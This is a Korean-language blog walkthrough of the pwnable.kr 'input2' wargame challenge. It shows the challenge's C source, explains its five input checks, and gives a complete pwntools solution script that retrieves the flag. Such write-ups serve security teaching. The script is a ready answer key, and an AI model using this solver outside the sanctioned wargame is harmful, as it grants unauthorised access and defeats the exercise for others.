[Pwnable.kr] input2 풀이 (4pt)
Wargame/pwnable.kr

[Pwnable.kr] input2 풀이 (4pt)

 

풀이

문제 길이만 보면 점수 더 줘야지..

다음은 input.c의 코드이다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>

int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");

        // argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n");

        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        read(2, buf, 4);
        if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");

        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");

        // file
        FILE* fp = fopen("\x0a", "r");
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n");

        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
                printf("socket error, tell admin\n");
                return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
                printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
                printf("accept error, tell admin\n");
                return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");

        // here's your flag
        system("/bin/cat flag");
        return 0;
}

단계별로 코드를 리뷰하고, 어떤 방법의 공격이 필요한가 설명 후, Stage 1 ~ Stage 5까지의 페이로드를 올리겠다.

 

Stage 1

if(argc != 100) return 0;
if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");
if(argc != 100) return 0;

인자의 개수가 100개가 아니면 프로그램을 종료한다.

인자를 받을 때 주의할 점은 코드를 실행하기 위한 ./input 또한 인자의 개수로 들어간다는 것이다. 

인자의 개수를 100개로 맞추고 싶으면 ./input + 99개의 값이 필요하다.

if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;

인자의 A(65)번째는 \x00, B(66)번째는 \x20\x0a\x0d가 들어가야 한다.

값을 그냥 넣게되면, null byte 오류가 뜨기 때문에, pwntools에 process 기능을 이용하도록 하자.


Stage 2

char buf[4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

read(0, buf, 4)는 send 함수 기능을 이용해 간단히 해결할 수 있으나, read(2, buf, 4)가 문제다.

표준 에러로 값을 읽기 때문에, Stage 1과 마찬가지로, process 함수의 인자 stderr을 이용하면 해결할 수 있다.


Stage 3

if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

환경변수를 이용한 문제다.

\xde\xad\xbe\xef 환경변수 값이 \xca\xfe\xba\xbe여야 해결되는 문제다.

마찬가지로 process 함수의 인자 env을 이용하면 해결할 수 있다. 여기서 env는 dict 타입으로 값을 넣어줘야 한다.


Stage 4

FILE* fp = fopen("\x0a", "r");
if(!fp) return 0;
if( fread(buf, 4, 1, fp)!=1 ) return 0;
if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
fclose(fp);
printf("Stage 4 clear!\n");

파일 포인터로 \x0a를 열어 내용이 \x00\x00\x00\x00면 해결되는 문제다.

간단히 open, write 함수를 이용해 문제를 해결할 수 있다.


Stage 5

int sd, cd;
struct sockaddr_in saddr, caddr;
sd = socket(AF_INET, SOCK_STREAM, 0);
if(sd == -1){
        printf("socket error, tell admin\n");
        return 0;
}
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = INADDR_ANY;
saddr.sin_port = htons( atoi(argv['C']) );
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
        printf("bind error, use another port\n");
        return 1;
}
listen(sd, 1);
int c = sizeof(struct sockaddr_in);
cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
if(cd < 0){
        printf("accept error, tell admin\n");
        return 0;
}
if( recv(cd, buf, 4, 0) != 4 ) return 0;
if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
printf("Stage 5 clear!\n");

코드는 길어보이지만, argv의 C(67)번째 포트를 열고, 입력된 값이 \xde\xad\xbe\xef면 해결되는 문제다.

간단하게 pwntools의 remote, send로 해결할 수 있다.

 

마지막으로 우리가 코드를 실행할 수 있는 위치는 읽기 쓰기 권한이 있는 /tmp 디렉터리이다.

flag 파일은 /home/input2 디렉터리에 존재함으로, flag 파일에 링크를 걸어주도록 하자.

ln -s /home/input2/flag ./flag

페이로드는 다음과 같다.

from pwn import *

err = open('/tmp/bjloed/error', 'w')
err.write('\x00\x0a\x02\xff')
err = open('/tmp/bjloed/error', 'r')

fp = open('\x0a', 'w')
fp.write('\x00\x00\x00\x00')
fp = open('\x0a', 'r')

payload = [ " " for i in range(0,100)]
payload[0] = "/home/input2/input"
payload[65] = "\x00"
payload[66] = "\x20\x0a\x0d"
payload[67] = '5555'

p = process(argv=payload, stderr=err, env={'\xde\xad\xbe\xef':'\xca\xfe\xba\xbe'})

p.recv(123)
payload = '\x00\x0a\x00\xff'
p.send(payload)

sock = remote('pwnable.kr', 5555)
sock.send('\xde\xad\xbe\xef')
sock.close()

arr = p.recv(100)
print arr

p.interactive()

'Wargame > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] mistake 풀이 (1pt)  (0) 2020.07.20
[Pwnable.kr] leg 풀이 (2pt)  (0) 2020.07.20
[Pwnable.kr] random 풀이 (1pt)  (0) 2020.07.19
[Pwnable.kr] passcode 풀이 (10pt)  (0) 2020.07.19
[Pwnable.kr] flag 풀이 (7pt)  (0) 2020.07.19